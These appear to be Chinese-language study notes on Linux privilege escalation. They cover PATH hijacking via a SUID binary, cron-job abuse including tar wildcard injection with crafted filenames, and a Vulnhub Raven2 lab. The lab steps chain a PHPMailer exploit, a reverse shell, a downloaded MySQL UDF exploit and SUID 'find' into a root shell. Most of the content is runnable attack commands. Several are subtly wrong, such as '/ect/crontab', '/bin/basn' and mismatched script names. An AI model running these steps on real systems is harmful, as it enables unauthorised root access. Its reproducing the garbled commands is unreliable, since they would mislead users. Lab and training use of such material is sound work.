Linux提权环境变量安全-(aliyun,本地):
前提:需要配合SUID进行环境变量提权且是本地用户环境下(因此该方法比较难实现,鸡肋)
提权过程:手写调用文件-编译-复制文件-增加环境变量-执行触发。
//demo.c文件
#include
void main(){
setuid(0);
setgid(0);
system("ps");
}
gcc demo.c -o shell //手写一个c语言文件,并上传编译为shell文件
cp /bin/sh /tmp/ps //复制到目录
export PATH=/tmp:$PATH //导入环境变量,类似windows配环境变量,直接命令下就能执行某文件,kali里各种工具都是如此
./shell //执行当前目录shell文件
id
Linux 提权本地定时任务安全-Aliyun
了解下定时任务命令:Linux crontab定期执行程序命令,运维一般用得到,做备份。
方法有三。
1)路径问题(没有成功实现):
利用计划任务指向的文件的相对路径解析问题。
cat /ect/crontab //查看当前电脑定时任务
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh //前是相对,后是绝对
chmod +x /home/xiaodi/test.sh
/tmp/bash
原理就是:查看定时会执行的计划任务的内容,自己按照内容创建一个同名文件到目录,且是用的相对路径而非计划任务里的绝对路径,而执行定时任务时是以root执行的,我们创建的相对路径下的同名文件就会被执行,而不执行原绝对路径下的文件。
2)命令问题(一般是本地提权):
利用通配符配合命令参数自定义命令实现提权:
前提是定时任务里有类似此条的命令cd /home/undead/script; tar czf /tmp/backup.tar.gz *
。
cd /home/undead/script; tar czf /tmp/backup.tar.gz * //会将前一个路径下的所有文件(*通配符代表所有压缩打包到后一个目录下并命名)
echo 'cp /bin/basn /tmp/bash;chmod +s /tmp/bash' >
/home/undead/script/test.sh
echo " " > "--checkpoint-action=exec=sh tesh.sh"
echo " " >--checkpoint=1
本来压缩目录到指定文件夹就一个压缩文件里边有被压缩的四个文件,但当我们在往目录里边添加两个文件然后定时任务执行后却会在指定文件夹多出一个文件:
构造的两个文件名:
--checkpoint=1
--checkpoint-action=exec=sh tset.sh
原理是:tar命令压缩时不会破坏被压缩文件的文件名,但当我们的一个文件名是tar命令的参数时,配合上通配符*,就会出现意外,导致执行文件名即参数指定的文件即test.sh(之前suid提权的操作),此时bash即有suid权限进而可以提权。
tar命令详解
3)权限问题:
利用不安全的权限分配操作导致的定时任务覆盖。
chmod 777 775等, 所有者 、组、 其他成员的权限,一般为管理员为定时任务分配了不当的权限,例如777,导致普通用户可以对定时任务进行覆盖,从而提权。
Linux 提权第三方如数据库 MYSQL_UDF-Vulnhub
vulnhub靶机下载 Raven2 靶机(phpmailer漏洞+mysql的UDF提权)
nmap扫同网段,扫端口,然后有80端口,目录爆破一下:
dirbuster爆破到vendor目录,有PHPMailerAutoload.php文件:
网上查到该漏洞,可以去kali里找到漏洞,下载exp脚本:
然后修改exp内容(详细参考这篇文章),kali监听端口,python获取pty即前面提到过的shell不支持加交互构造伪终端python -c 'import pty;pty.spawn("/bin/bash")'
反弹shell到我们kali上
拿到网站权限,上传信息收集探针提权(我们需要将自己web服务打开,让靶机直接wget下载之前提到的探针LinEnum并chmod +x LinEnum.sh
加权运行):
探针到一大堆东西,可以看到mysql服务,且为root权限,
上传后门echo '' >1.php
,蚁剑一连,打开root目录果然没权限打开,找到wordpress上的配置信息,连数据库:
版本是5.5.60,之前数据库提权时知道此时可以利用udf提权,本地下载编译运行:
#利用 Mysql 提权 searchsploit
下载 mysql udf poc 进行编译
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
之后将1518.so移动到/tmp目录下:
在mysql下udf提权,命令如下:
#进入数据库进行 UDF 导出:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from mysql.func;
#创建 do_system 函数调用:
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
exit;
中间移动1518.so时可以在目录看到文件:
最后输入find / -exec "/bin/sh" \;
成功提权为root拿到flag:
该靶机目的其实是拿到四个flag,参考这篇文章即可:https://blog.csdn.net/nzjdsds/article/details/93971746
Linux提权总结,其他方法参考《权限提升-linux提权手法总结》
1.提权环境,信息收集(SUID,定时任务,可能漏洞,第三方服务应用等)。
2.最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(比如那四个脚本)。
3.本地searchsploit脚本及远程exploitdb站点搜索说明。
4.其他提权方法如:密码复用(mysql或其他第三方应用密码有可能是root密码),guid,sudo等说明(运气,同理,鸡肋等)。